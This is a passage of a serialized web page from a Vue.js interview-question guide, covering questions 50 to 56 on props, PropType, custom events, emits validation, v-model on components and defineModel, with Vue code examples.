(",[132,6603,4628],{"class":697},[132,6605,5284],{"class":138},[132,6607,2662],{"class":209},[132,6609,5849],{"class":138},[132,6611,6591],{"class":165},[132,6613,581],{"class":138},[132,6615,6616],{"class":165},"'loading'",[132,6618,581],{"class":138},[132,6620,6621],{"class":165},"'done'",[132,6623,6624],{"class":138},"].",[132,6626,6627],{"class":158},"includes",[132,6629,4819],{"class":138},[132,6631,6632],{"class":134,"line":298},[132,6633,870],{"class":138},[132,6635,6636],{"class":134,"line":311},[132,6637,3156],{"class":138},[132,6639,6640,6642,6644],{"class":134,"line":319},[132,6641,179],{"class":138},[132,6643,198],{"class":142},[132,6645,146],{"class":138},[11,6647,6648,6649,6651],{},"During development, Vue checks incoming prop values against this declaration and logs a console warning if a required prop is missing, a type doesn't match, or the validator returns ",[18,6650,4614],{},". This validation is stripped out in production builds, it's a development aid, not runtime enforcement, so it doesn't replace proper input handling for anything user-facing.",[34,6653,6655],{"id":6654},"_50-why-shouldnt-you-mutate-a-prop-directly-inside-a-child-component","50. Why shouldn't you mutate a prop directly inside a child component?",[11,6657,6658],{},"Props are meant to flow in one direction, from parent down to child. The parent owns the actual reactive source, the child's prop is just a reference to the current value of that source. If the child reassigns the prop directly, it's fighting the parent for ownership of that state: Vue will log a warning in development, and any local change gets silently overwritten the next time the parent re-renders with its own value.",[123,6660,6662],{"className":125,"code":6661,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst props = defineProps(['count'])\n\n// Avoid: mutating a prop directly\nfunction increment() {\n    props.count++ // warning, and gets overwritten by parent\n}\n\u003C/script>\n",[18,6663,6664,6674,6690,6694,6699,6707,6717,6721],{"__ignoreMap":128},[132,6665,6666,6668,6670,6672],{"class":134,"line":135},[132,6667,139],{"class":138},[132,6669,198],{"class":142},[132,6671,201],{"class":158},[132,6673,146],{"class":138},[132,6675,6676,6678,6680,6682,6684,6686,6688],{"class":134,"line":149},[132,6677,230],{"class":209},[132,6679,6524],{"class":233},[132,6681,237],{"class":209},[132,6683,6529],{"class":158},[132,6685,3622],{"class":138},[132,6687,4084],{"class":165},[132,6689,3636],{"class":138},[132,6691,6692],{"class":134,"line":176},[132,6693,190],{"emptyLinePlaceholder":189},[132,6695,6696],{"class":134,"line":186},[132,6697,6698],{"class":397},"// Avoid: mutating a prop directly\n",[132,6700,6701,6703,6705],{"class":134,"line":193},[132,6702,260],{"class":209},[132,6704,263],{"class":158},[132,6706,266],{"class":138},[132,6708,6709,6712,6714],{"class":134,"line":206},[132,6710,6711],{"class":138},"    props.count",[132,6713,3168],{"class":209},[132,6715,6716],{"class":397}," // warning, and gets overwritten by parent\n",[132,6718,6719],{"class":134,"line":222},[132,6720,281],{"class":138},[132,6722,6723,6725,6727],{"class":134,"line":227},[132,6724,179],{"class":138},[132,6726,198],{"class":142},[132,6728,146],{"class":138},[11,6730,6731],{},"If you need an editable local version of a prop, initialize your own local state from it instead:",[123,6733,6735],{"className":125,"code":6734,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref } from 'vue'\n\nconst props = defineProps(['count'])\nconst localCount = ref(props.count)\n\nfunction increment() {\n    localCount.value++\n}\n\u003C/script>\n",[18,6736,6737,6747,6757,6761,6777,6791,6795,6803,6810,6814],{"__ignoreMap":128},[132,6738,6739,6741,6743,6745],{"class":134,"line":135},[132,6740,139],{"class":138},[132,6742,198],{"class":142},[132,6744,201],{"class":158},[132,6746,146],{"class":138},[132,6748,6749,6751,6753,6755],{"class":134,"line":149},[132,6750,210],{"class":209},[132,6752,213],{"class":138},[132,6754,216],{"class":209},[132,6756,219],{"class":165},[132,6758,6759],{"class":134,"line":176},[132,6760,190],{"emptyLinePlaceholder":189},[132,6762,6763,6765,6767,6769,6771,6773,6775],{"class":134,"line":186},[132,6764,230],{"class":209},[132,6766,6524],{"class":233},[132,6768,237],{"class":209},[132,6770,6529],{"class":158},[132,6772,3622],{"class":138},[132,6774,4084],{"class":165},[132,6776,3636],{"class":138},[132,6778,6779,6781,6784,6786,6788],{"class":134,"line":193},[132,6780,230],{"class":209},[132,6782,6783],{"class":233}," localCount",[132,6785,237],{"class":209},[132,6787,240],{"class":158},[132,6789,6790],{"class":138},"(props.count)\n",[132,6792,6793],{"class":134,"line":206},[132,6794,190],{"emptyLinePlaceholder":189},[132,6796,6797,6799,6801],{"class":134,"line":222},[132,6798,260],{"class":209},[132,6800,263],{"class":158},[132,6802,266],{"class":138},[132,6804,6805,6808],{"class":134,"line":227},[132,6806,6807],{"class":138},"    localCount.value",[132,6809,275],{"class":209},[132,6811,6812],{"class":134,"line":252},[132,6813,281],{"class":138},[132,6815,6816,6818,6820],{"class":134,"line":257},[132,6817,179],{"class":138},[132,6819,198],{"class":142},[132,6821,146],{"class":138},[11,6823,6824,6825,6827,6828,6831],{},"If the intent is really for the child to change the parent's data, the correct pattern is to emit an event and let the parent update its own state (or use ",[18,6826,2182],{}," / ",[18,6829,6830],{},"defineModel",", which is exactly this pattern formalized).",[34,6833,6835,6836,6839],{"id":6834},"_51-how-do-you-use-proptype-for-typing-props-in-the-options-api","51. How do you use ",[18,6837,6838],{},"PropType"," for typing props in the Options API?",[11,6841,6842,6844,6845,1334,6848,6851,6852,6855,6856,6859,6860,6863,6864,6867],{},[18,6843,6838],{}," is a TypeScript helper Vue exports so you can give a prop a more specific type than what a plain JavaScript constructor (like ",[18,6846,6847],{},"Object",[18,6849,6850],{},"Array",") can express. When you write ",[18,6853,6854],{},"type: Object",", TypeScript only knows the value is some object, it can't tell you it's specifically a ",[18,6857,6858],{},"User"," or an array of ",[18,6861,6862],{},"Todo"," items. Casting the constructor ",[18,6865,6866],{},"as PropType\u003CUser>"," tells TypeScript the real shape without changing anything at runtime, Vue still just checks that it's an object.",[123,6869,6871],{"className":125,"code":6870,"language":127,"meta":128,"style":128},"\u003Cscript>\nimport { defineComponent, type PropType } from 'vue'\n\ninterface User {\n    id: number\n    name: string\n}\n\nexport default defineComponent({\n    props: {\n        user: {\n            type: Object as PropType\u003CUser>,\n            required: true\n        },\n        roles: {\n            type: Array as PropType\u003Cstring[]>,\n            default: () => []\n        }\n    }\n})\n\u003C/script>\n",[18,6872,6873,6881,6898,6902,6912,6922,6932,6936,6940,6951,6956,6961,6979,6986,6991,6996,7013,7026,7030,7034,7038],{"__ignoreMap":128},[132,6874,6875,6877,6879],{"class":134,"line":135},[132,6876,139],{"class":138},[132,6878,198],{"class":142},[132,6880,146],{"class":138},[132,6882,6883,6885,6888,6891,6894,6896],{"class":134,"line":149},[132,6884,210],{"class":209},[132,6886,6887],{"class":138}," { defineComponent, ",[132,6889,6890],{"class":209},"type",[132,6892,6893],{"class":138}," PropType } ",[132,6895,216],{"class":209},[132,6897,219],{"class":165},[132,6899,6900],{"class":134,"line":176},[132,6901,190],{"emptyLinePlaceholder":189},[132,6903,6904,6907,6910],{"class":134,"line":186},[132,6905,6906],{"class":209},"interface",[132,6908,6909],{"class":158}," User",[132,6911,316],{"class":138},[132,6913,6914,6917,6919],{"class":134,"line":193},[132,6915,6916],{"class":697},"    id",[132,6918,1224],{"class":209},[132,6920,6921],{"class":233}," number\n",[132,6923,6924,6927,6929],{"class":134,"line":206},[132,6925,6926],{"class":697},"    name",[132,6928,1224],{"class":209},[132,6930,6931],{"class":233}," string\n",[132,6933,6934],{"class":134,"line":222},[132,6935,281],{"class":138},[132,6937,6938],{"class":134,"line":227},[132,6939,190],{"emptyLinePlaceholder":189},[132,6941,6942,6944,6946,6949],{"class":134,"line":252},[132,6943,807],{"class":209},[132,6945,810],{"class":209},[132,6947,6948],{"class":158}," defineComponent",[132,6950,4542],{"class":138},[132,6952,6953],{"class":134,"line":257},[132,6954,6955],{"class":138},"    props: {\n",[132,6957,6958],{"class":134,"line":269},[132,6959,6960],{"class":138},"        user: {\n",[132,6962,6963,6966,6969,6972,6974,6976],{"class":134,"line":278},[132,6964,6965],{"class":138},"            type: Object ",[132,6967,6968],{"class":209},"as",[132,6970,6971],{"class":158}," PropType",[132,6973,139],{"class":138},[132,6975,6858],{"class":158},[132,6977,6978],{"class":138},">,\n",[132,6980,6981,6984],{"class":134,"line":284},[132,6982,6983],{"class":138},"            required: ",[132,6985,6549],{"class":233},[132,6987,6988],{"class":134,"line":293},[132,6989,6990],{"class":138},"        },\n",[132,6992,6993],{"class":134,"line":298},[132,6994,6995],{"class":138},"        roles: {\n",[132,6997,6998,7001,7003,7005,7007,7010],{"class":134,"line":311},[132,6999,7000],{"class":138},"            type: Array ",[132,7002,6968],{"class":209},[132,7004,6971],{"class":158},[132,7006,139],{"class":138},[132,7008,7009],{"class":233},"string",[132,7011,7012],{"class":138},"[]>,\n",[132,7014,7015,7018,7021,7023],{"class":134,"line":319},[132,7016,7017],{"class":158},"            default",[132,7019,7020],{"class":138},": () ",[132,7022,2662],{"class":209},[132,7024,7025],{"class":138}," []\n",[132,7027,7028],{"class":134,"line":331},[132,7029,857],{"class":138},[132,7031,7032],{"class":134,"line":336},[132,7033,870],{"class":138},[132,7035,7036],{"class":134,"line":918},[132,7037,3156],{"class":138},[132,7039,7040,7042,7044],{"class":134,"line":935},[132,7041,179],{"class":138},[132,7043,198],{"class":142},[132,7045,146],{"class":138},[11,7047,7048,7049,7051,7052,7054,7055,7058,7059,7061],{},"This is specifically an Options API concern with TypeScript. In ",[18,7050,20],{}," with TypeScript, you'd normally skip ",[18,7053,6838],{}," entirely and use the type-only generic syntax instead, ",[18,7056,7057],{},"defineProps\u003C{ user: User }>()",", which is more concise and doesn't need the ",[18,7060,6968],{}," cast.",[34,7063,7065,7066,1349],{"id":7064},"_52-what-are-custom-events-and-how-do-you-emit-one-with-defineemits","52. What are custom events, and how do you emit one with ",[18,7067,7068],{},"defineEmits",[11,7070,7071],{},"Custom events are how a child component talks back up to its parent, the mirror image of props. Since props only flow downward, events are the mechanism for the child to notify the parent that something happened, optionally with a payload.",[11,7073,7074,7075,7077,7078,7081],{},"You declare which events a component can emit with ",[18,7076,7068],{},", which returns an ",[18,7079,7080],{},"emit"," function you call to actually fire the event.",[123,7083,7085],{"className":125,"code":7084,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst emit = defineEmits(['add-to-cart'])\n\nfunction handleClick() {\n    emit('add-to-cart', { id: 42, quantity: 1 })\n}\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cbutton @click=\"handleClick\">Add to cart\u003C/button>\n\u003C/template>\n",[18,7086,7087,7097,7116,7120,7129,7151,7155,7163,7167,7175,7195],{"__ignoreMap":128},[132,7088,7089,7091,7093,7095],{"class":134,"line":135},[132,7090,139],{"class":138},[132,7092,198],{"class":142},[132,7094,201],{"class":158},[132,7096,146],{"class":138},[132,7098,7099,7101,7104,7106,7109,7111,7114],{"class":134,"line":149},[132,7100,230],{"class":209},[132,7102,7103],{"class":233}," emit",[132,7105,237],{"class":209},[132,7107,7108],{"class":158}," defineEmits",[132,7110,3622],{"class":138},[132,7112,7113],{"class":165},"'add-to-cart'",[132,7115,3636],{"class":138},[132,7117,7118],{"class":134,"line":176},[132,7119,190],{"emptyLinePlaceholder":189},[132,7121,7122,7124,7127],{"class":134,"line":186},[132,7123,260],{"class":209},[132,7125,7126],{"class":158}," handleClick",[132,7128,266],{"class":138},[132,7130,7131,7134,7136,7138,7141,7144,7147,7149],{"class":134,"line":193},[132,7132,7133],{"class":158},"    emit",[132,7135,243],{"class":138},[132,7137,7113],{"class":165},[132,7139,7140],{"class":138},", { id: ",[132,7142,7143],{"class":233},"42",[132,7145,7146],{"class":138},", quantity: ",[132,7148,1567],{"class":233},[132,7150,3120],{"class":138},[132,7152,7153],{"class":134,"line":206},[132,7154,281],{"class":138},[132,7156,7157,7159,7161],{"class":134,"line":222},[132,7158,179],{"class":138},[132,7160,198],{"class":142},[132,7162,146],{"class":138},[132,7164,7165],{"class":134,"line":227},[132,7166,190],{"emptyLinePlaceholder":189},[132,7168,7169,7171,7173],{"class":134,"line":252},[132,7170,139],{"class":138},[132,7172,143],{"class":142},[132,7174,146],{"class":138},[132,7176,7177,7179,7181,7183,7185,7188,7191,7193],{"class":134,"line":257},[132,7178,152],{"class":138},[132,7180,155],{"class":142},[132,7182,159],{"class":158},[132,7184,162],{"class":138},[132,7186,7187],{"class":165},"\"handleClick\"",[132,7189,7190],{"class":138},">Add to cart\u003C/",[132,7192,155],{"class":142},[132,7194,146],{"class":138},[132,7196,7197,7199,7201],{"class":134,"line":269},[132,7198,179],{"class":138},[132,7200,143],{"class":142},[132,7202,146],{"class":138},[11,7204,7205],{},"The parent listens the same way it would for a native DOM event:",[123,7207,7209],{"className":125,"code":7208,"language":127,"meta":128,"style":128},"\u003CProductCard @add-to-cart=\"onAddToCart\" />\n",[18,7210,7211],{"__ignoreMap":128},[132,7212,7213,7215,7218,7221,7224,7226,7228,7231,7233],{"class":134,"line":135},[132,7214,139],{"class":138},[132,7216,7217],{"class":142},"ProductCard",[132,7219,7220],{"class":138}," @",[132,7222,7223],{"class":158},"add-to-cart",[132,7225,162],{"class":138},[132,7227,1597],{"class":165},[132,7229,7230],{"class":138},"onAddToCart",[132,7232,1597],{"class":165},[132,7234,1287],{"class":138},[11,7236,7237,7238,7241],{},"Declaring emitted events isn't just documentation, Vue uses the list to make sure listeners like ",[18,7239,7240],{},"@add-to-cart"," are treated as component events rather than falling through as a plain HTML attribute, and it powers the emits validation and TypeScript typing for the payload.",[34,7243,7245],{"id":7244},"_53-what-is-emits-validation-and-how-does-it-work","53. What is emits validation, and how does it work?",[11,7247,7248,7249,7252,7253,7256,7257,1334,7259,385],{},"Emits validation is the event equivalent of prop validation: instead of declaring ",[18,7250,7251],{},"emits"," as a plain array of event names, you declare it as an object where each key is an event name and the value is a validator function. That function receives the arguments passed to ",[18,7254,7255],{},"emit(...)"," and should return ",[18,7258,1853],{},[18,7260,4614],{},[123,7262,7264],{"className":125,"code":7263,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst emit = defineEmits({\n    'add-to-cart': (payload) => {\n        return typeof payload.id === 'number' && payload.quantity > 0\n    },\n    'close': null // no validation, just declares the event exists\n})\n\nfunction handleClick() {\n    emit('add-to-cart', { id: 42, quantity: 1 })\n}\n\u003C/script>\n",[18,7265,7266,7276,7288,7304,7331,7335,7347,7351,7355,7363,7381,7385],{"__ignoreMap":128},[132,7267,7268,7270,7272,7274],{"class":134,"line":135},[132,7269,139],{"class":138},[132,7271,198],{"class":142},[132,7273,201],{"class":158},[132,7275,146],{"class":138},[132,7277,7278,7280,7282,7284,7286],{"class":134,"line":149},[132,7279,230],{"class":209},[132,7281,7103],{"class":233},[132,7283,237],{"class":209},[132,7285,7108],{"class":158},[132,7287,4542],{"class":138},[132,7289,7290,7293,7295,7298,7300,7302],{"class":134,"line":176},[132,7291,7292],{"class":165},"    'add-to-cart'",[132,7294,6601],{"class":138},[132,7296,7297],{"class":697},"payload",[132,7299,5284],{"class":138},[132,7301,2662],{"class":209},[132,7303,316],{"class":138},[132,7305,7306,7308,7311,7314,7316,7319,7322,7325,7328],{"class":134,"line":186},[132,7307,862],{"class":209},[132,7309,7310],{"class":209}," typeof",[132,7312,7313],{"class":138}," payload.id ",[132,7315,4582],{"class":209},[132,7317,7318],{"class":165}," 'number'",[132,7320,7321],{"class":209}," &&",[132,7323,7324],{"class":138}," payload.quantity ",[132,7326,7327],{"class":209},">",[132,7329,7330],{"class":233}," 0\n",[132,7332,7333],{"class":134,"line":193},[132,7334,5830],{"class":138},[132,7336,7337,7340,7342,7344],{"class":134,"line":206},[132,7338,7339],{"class":165},"    'close'",[132,7341,325],{"class":138},[132,7343,719],{"class":233},[132,7345,7346],{"class":397}," // no validation, just declares the event exists\n",[132,7348,7349],{"class":134,"line":222},[132,7350,3156],{"class":138},[132,7352,7353],{"class":134,"line":227},[132,7354,190],{"emptyLinePlaceholder":189},[132,7356,7357,7359,7361],{"class":134,"line":252},[132,7358,260],{"class":209},[132,7360,7126],{"class":158},[132,7362,266],{"class":138},[132,7364,7365,7367,7369,7371,7373,7375,7377,7379],{"class":134,"line":257},[132,7366,7133],{"class":158},[132,7368,243],{"class":138},[132,7370,7113],{"class":165},[132,7372,7140],{"class":138},[132,7374,7143],{"class":233},[132,7376,7146],{"class":138},[132,7378,1567],{"class":233},[132,7380,3120],{"class":138},[132,7382,7383],{"class":134,"line":269},[132,7384,281],{"class":138},[132,7386,7387,7389,7391],{"class":134,"line":278},[132,7388,179],{"class":138},[132,7390,198],{"class":142},[132,7392,146],{"class":138},[11,7394,7395,7396,7398],{},"If the validator returns ",[18,7397,4614],{},", Vue logs a console warning in development pointing at exactly which emitted event had a bad payload. Like prop validation, it's development-only tooling, it doesn't block the event from firing or throw at runtime, it just makes mistakes visible early instead of silently propagating a malformed payload up to the parent.",[34,7400,7402,7403,7405],{"id":7401},"_54-how-does-v-model-on-a-custom-component-work-under-the-hood","54. How does ",[18,7404,2182],{}," on a custom component work under the hood?",[11,7407,7408,7410,7411,7414,7415,7418,7419,7422],{},[18,7409,2182],{}," on a component is syntactic sugar for a prop plus an event listener. When you write ",[18,7412,7413],{},"v-model=\"value\""," on a component, Vue expands that (by default, in Vue 3) into binding a ",[18,7416,7417],{},"modelValue"," prop and listening for an ",[18,7420,7421],{},"update:modelValue"," event:",[123,7424,7426],{"className":125,"code":7425,"language":127,"meta":128,"style":128},"\u003CCustomInput v-model=\"searchText\" />\n\n\u003C!-- is shorthand for -->\n\u003CCustomInput\n    :model-value=\"searchText\"\n    @update:model-value=\"newValue => searchText = newValue\"\n/>\n",[18,7427,7428,7449,7453,7458,7465,7482,7512],{"__ignoreMap":128},[132,7429,7430,7432,7435,7438,7440,7442,7445,7447],{"class":134,"line":135},[132,7431,139],{"class":138},[132,7433,7434],{"class":142},"CustomInput",[132,7436,7437],{"class":158}," v-model",[132,7439,162],{"class":138},[132,7441,1597],{"class":165},[132,7443,7444],{"class":138},"searchText",[132,7446,1597],{"class":165},[132,7448,1287],{"class":138},[132,7450,7451],{"class":134,"line":149},[132,7452,190],{"emptyLinePlaceholder":189},[132,7454,7455],{"class":134,"line":176},[132,7456,7457],{"class":397},"\u003C!-- is shorthand for -->\n",[132,7459,7460,7462],{"class":134,"line":186},[132,7461,139],{"class":138},[132,7463,7464],{"class":142},"CustomInput\n",[132,7466,7467,7470,7473,7475,7477,7479],{"class":134,"line":193},[132,7468,7469],{"class":138},"    :",[132,7471,7472],{"class":158},"model-value",[132,7474,162],{"class":138},[132,7476,1597],{"class":165},[132,7478,7444],{"class":138},[132,7480,7481],{"class":165},"\"\n",[132,7483,7484,7487,7490,7492,7494,7496,7498,7500,7502,7505,7507,7510],{"class":134,"line":206},[132,7485,7486],{"class":138},"    @",[132,7488,7489],{"class":158},"update",[132,7491,1224],{"class":138},[132,7493,7472],{"class":158},[132,7495,162],{"class":138},[132,7497,1597],{"class":165},[132,7499,5840],{"class":697},[132,7501,2675],{"class":209},[132,7503,7504],{"class":138}," searchText ",[132,7506,162],{"class":209},[132,7508,7509],{"class":138}," newValue",[132,7511,7481],{"class":165},[132,7513,7514],{"class":134,"line":222},[132,7515,7516],{"class":138},"/>\n",[11,7518,7519],{},"For the component to actually support this, it needs to declare the matching prop and emit the matching event itself:",[123,7521,7523],{"className":125,"code":7522,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst props = defineProps(['modelValue'])\nconst emit = defineEmits(['update:modelValue'])\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cinput\n        :value=\"modelValue\"\n        @input=\"emit('update:modelValue', $event.target.value)\"\n    />\n\u003C/template>\n",[18,7524,7525,7535,7552,7569,7577,7581,7589,7596,7606,7616,7621],{"__ignoreMap":128},[132,7526,7527,7529,7531,7533],{"class":134,"line":135},[132,7528,139],{"class":138},[132,7530,198],{"class":142},[132,7532,201],{"class":158},[132,7534,146],{"class":138},[132,7536,7537,7539,7541,7543,7545,7547,7550],{"class":134,"line":149},[132,7538,230],{"class":209},[132,7540,6524],{"class":233},[132,7542,237],{"class":209},[132,7544,6529],{"class":158},[132,7546,3622],{"class":138},[132,7548,7549],{"class":165},"'modelValue'",[132,7551,3636],{"class":138},[132,7553,7554,7556,7558,7560,7562,7564,7567],{"class":134,"line":176},[132,7555,230],{"class":209},[132,7557,7103],{"class":233},[132,7559,237],{"class":209},[132,7561,7108],{"class":158},[132,7563,3622],{"class":138},[132,7565,7566],{"class":165},"'update:modelValue'",[132,7568,3636],{"class":138},[132,7570,7571,7573,7575],{"class":134,"line":186},[132,7572,179],{"class":138},[132,7574,198],{"class":142},[132,7576,146],{"class":138},[132,7578,7579],{"class":134,"line":193},[132,7580,190],{"emptyLinePlaceholder":189},[132,7582,7583,7585,7587],{"class":134,"line":206},[132,7584,139],{"class":138},[132,7586,143],{"class":142},[132,7588,146],{"class":138},[132,7590,7591,7593],{"class":134,"line":222},[132,7592,152],{"class":138},[132,7594,7595],{"class":142},"input\n",[132,7597,7598,7601,7603],{"class":134,"line":227},[132,7599,7600],{"class":158},"        :value",[132,7602,162],{"class":138},[132,7604,7605],{"class":165},"\"modelValue\"\n",[132,7607,7608,7611,7613],{"class":134,"line":252},[132,7609,7610],{"class":158},"        @input",[132,7612,162],{"class":138},[132,7614,7615],{"class":165},"\"emit('update:modelValue', $event.target.value)\"\n",[132,7617,7618],{"class":134,"line":257},[132,7619,7620],{"class":138},"    />\n",[132,7622,7623,7625,7627],{"class":134,"line":269},[132,7624,179],{"class":138},[132,7626,143],{"class":142},[132,7628,146],{"class":138},[11,7630,7631,7632,7634,7635,7637,7638,7640,7641,7643],{},"So ",[18,7633,2182],{}," isn't magic tied specifically to form elements, it's just a naming convention (",[18,7636,7417],{}," in, ",[18,7639,7421],{}," out) that any component can implement to get two-way binding syntax for free. ",[18,7642,6830],{}," (Vue 3.4+) generates exactly this prop/emit pair for you automatically.",[34,7645,7647,7648,7650],{"id":7646},"_55-how-do-you-support-multiple-v-model-bindings-on-the-same-component","55. How do you support multiple ",[18,7649,2182],{}," bindings on the same component?",[11,7652,7653,7654,7656,7657,6827,7659,385],{},"A single component isn't limited to one ",[18,7655,2182],{},", you can give each binding a name as an argument, and Vue expands each named binding into its own prop/event pair instead of the default ",[18,7658,7417],{},[18,7660,7421],{},[123,7662,7664],{"className":125,"code":7663,"language":127,"meta":128,"style":128},"\u003CUserForm v-model:first-name=\"firstName\" v-model:last-name=\"lastName\" />\n",[18,7665,7666],{"__ignoreMap":128},[132,7667,7668,7670,7673,7675,7677,7680,7682,7684,7686,7688,7690,7692,7695,7697,7699,7701,7703],{"class":134,"line":135},[132,7669,139],{"class":138},[132,7671,7672],{"class":142},"UserForm",[132,7674,7437],{"class":158},[132,7676,1224],{"class":138},[132,7678,7679],{"class":158},"first-name",[132,7681,162],{"class":138},[132,7683,1597],{"class":165},[132,7685,5808],{"class":138},[132,7687,1597],{"class":165},[132,7689,7437],{"class":158},[132,7691,1224],{"class":138},[132,7693,7694],{"class":158},"last-name",[132,7696,162],{"class":138},[132,7698,1597],{"class":165},[132,7700,5818],{"class":138},[132,7702,1597],{"class":165},[132,7704,1287],{"class":138},[11,7706,7707,7708,7710,7711,7714,7715,7710,7717,7720],{},"That expands to binding a ",[18,7709,5808],{}," prop with an ",[18,7712,7713],{},"update:firstName"," listener, and separately a ",[18,7716,5818],{},[18,7718,7719],{},"update:lastName"," listener. The component needs to declare and emit each one:",[123,7722,7724],{"className":125,"code":7723,"language":127,"meta":128,"style":128},"\u003Cscript setup>\ndefineProps(['firstName', 'lastName'])\ndefineEmits(['update:firstName', 'update:lastName'])\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cinput\n        :value=\"firstName\"\n        @input=\"$emit('update:firstName', $event.target.value)\"\n    />\n    \u003Cinput\n        :value=\"lastName\"\n        @input=\"$emit('update:lastName', $event.target.value)\"\n    />\n\u003C/template>\n",[18,7725,7726,7736,7752,7768,7776,7780,7788,7794,7803,7812,7816,7822,7831,7840,7844],{"__ignoreMap":128},[132,7727,7728,7730,7732,7734],{"class":134,"line":135},[132,7729,139],{"class":138},[132,7731,198],{"class":142},[132,7733,201],{"class":158},[132,7735,146],{"class":138},[132,7737,7738,7740,7742,7745,7747,7750],{"class":134,"line":149},[132,7739,6501],{"class":158},[132,7741,3622],{"class":138},[132,7743,7744],{"class":165},"'firstName'",[132,7746,581],{"class":138},[132,7748,7749],{"class":165},"'lastName'",[132,7751,3636],{"class":138},[132,7753,7754,7756,7758,7761,7763,7766],{"class":134,"line":176},[132,7755,7068],{"class":158},[132,7757,3622],{"class":138},[132,7759,7760],{"class":165},"'update:firstName'",[132,7762,581],{"class":138},[132,7764,7765],{"class":165},"'update:lastName'",[132,7767,3636],{"class":138},[132,7769,7770,7772,7774],{"class":134,"line":186},[132,7771,179],{"class":138},[132,7773,198],{"class":142},[132,7775,146],{"class":138},[132,7777,7778],{"class":134,"line":193},[132,7779,190],{"emptyLinePlaceholder":189},[132,7781,7782,7784,7786],{"class":134,"line":206},[132,7783,139],{"class":138},[132,7785,143],{"class":142},[132,7787,146],{"class":138},[132,7789,7790,7792],{"class":134,"line":222},[132,7791,152],{"class":138},[132,7793,7595],{"class":142},[132,7795,7796,7798,7800],{"class":134,"line":227},[132,7797,7600],{"class":158},[132,7799,162],{"class":138},[132,7801,7802],{"class":165},"\"firstName\"\n",[132,7804,7805,7807,7809],{"class":134,"line":252},[132,7806,7610],{"class":158},[132,7808,162],{"class":138},[132,7810,7811],{"class":165},"\"$emit('update:firstName', $event.target.value)\"\n",[132,7813,7814],{"class":134,"line":257},[132,7815,7620],{"class":138},[132,7817,7818,7820],{"class":134,"line":269},[132,7819,152],{"class":138},[132,7821,7595],{"class":142},[132,7823,7824,7826,7828],{"class":134,"line":278},[132,7825,7600],{"class":158},[132,7827,162],{"class":138},[132,7829,7830],{"class":165},"\"lastName\"\n",[132,7832,7833,7835,7837],{"class":134,"line":284},[132,7834,7610],{"class":158},[132,7836,162],{"class":138},[132,7838,7839],{"class":165},"\"$emit('update:lastName', $event.target.value)\"\n",[132,7841,7842],{"class":134,"line":293},[132,7843,7620],{"class":138},[132,7845,7846,7848,7850],{"class":134,"line":298},[132,7847,179],{"class":138},[132,7849,143],{"class":142},[132,7851,146],{"class":138},[11,7853,7854,7855,7857,7858,7860],{},"This is the same underlying mechanism as a plain ",[18,7856,2182],{},", just with a name attached instead of relying on the ",[18,7859,7417],{}," default, so a component can expose as many independent two-way bindings as it needs.",[34,7862,7864,7865,7867,7868,7870],{"id":7863},"_56-what-is-definemodel-vue-34-and-how-does-it-simplify-writing-v-model-support","56. What is ",[18,7866,6830],{}," (Vue 3.4+), and how does it simplify writing ",[18,7869,2182],{}," support?",[11,7872,7873,7875,7876,7878,7879,7881,7882,7885],{},[18,7874,6830],{}," is a ",[18,7877,20],{}," compiler macro, stabilized in Vue 3.4, that collapses the manual \"declare a prop, declare an emit, wire them together\" boilerplate for ",[18,7880,2182],{}," support into a single line. It automatically declares the underlying prop and the matching ",[18,7883,7884],{},"update:"," event for you, and returns a ref you can read and write directly, writing to it automatically emits the update event.",[123,7887,7889],{"className":125,"code":7888,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst model = defineModel()\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cinput v-model=\"model\" />\n\u003C/template>\n",[18,7890,7891,7901,7915,7923,7927,7935,7950],{"__ignoreMap":128},[132,7892,7893,7895,7897,7899],{"class":134,"line":135},[132,7894,139],{"class":138},[132,7896,198],{"class":142},[132,7898,201],{"class":158},[132,7900,146],{"class":138},[132,7902,7903,7905,7908,7910,7913],{"class":134,"line":149},[132,7904,230],{"class":209},[132,7906,7907],{"class":233}," model",[132,7909,237],{"class":209},[132,7911,7912],{"class":158}," defineModel",[132,7914,4951],{"class":138},[132,7916,7917,7919,7921],{"class":134,"line":176},[132,7918,179],{"class":138},[132,7920,198],{"class":142},[132,7922,146],{"class":138},[132,7924,7925],{"class":134,"line":186},[132,7926,190],{"emptyLinePlaceholder":189},[132,7928,7929,7931,7933],{"class":134,"line":193},[132,7930,139],{"class":138},[132,7932,143],{"class":142},[132,7934,146],{"class":138},[132,7936,7937,7939,7941,7943,7945,7948],{"class":134,"line":206},[132,7938,152],{"class":138},[132,7940,2200],{"class":142},[132,7942,7437],{"class":158},[132,7944,162],{"class":138},[132,7946,7947],{"class":165},"\"model\"",[132,7949,1287],{"class":138},[132,7951,7952,7954,7956],{"class":134,"line":222},[132,7953,179],{"class":138},[132,7955,143],{"class":142},[132,7957,146],{"class":138},[11,7959,7960,7961,4319,7963,7965,7966,7969,7970,7972],{},"That's the entire component, no manual ",[18,7962,6501],{},[18,7964,7068],{}," pairing needed, ",[18,7967,7968],{},"model.value = x"," behaves just like updating any other ref, but under the hood it emits ",[18,7971,7421],{}," for the parent.",[11,7974,7975],{},"It also supports named models and options, mirroring what you'd otherwise write by hand:",[123,7977,7979],{"className":125,"code":7978,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst firstName = defineModel('firstName', { required: true })\nconst disabled = defineModel('disabled', { default: false })\n\u003C/script>\n",[18,7980,7981,7991,8012,8035],{"__ignoreMap":128},[132,7982,7983,7985,7987,7989],{"class":134,"line":135},[132,7984,139],{"class":138},[132,7986,198],{"class":142},[132,7988,201],{"class":158},[132,7990,146],{"class":138},[132,7992,7993,7995,7997,7999,8001,8003,8005,8008,8010],{"class":134,"line":149},[132,7994,230],{"class":209},[132,7996,5745],{"class":233},[132,7998,237],{"class":209},[132,8000,7912],{"class":158},[132,8002,243],{"class":138},[132,8004,7744],{"class":165},[132,8006,8007],{"class":138},", { required: 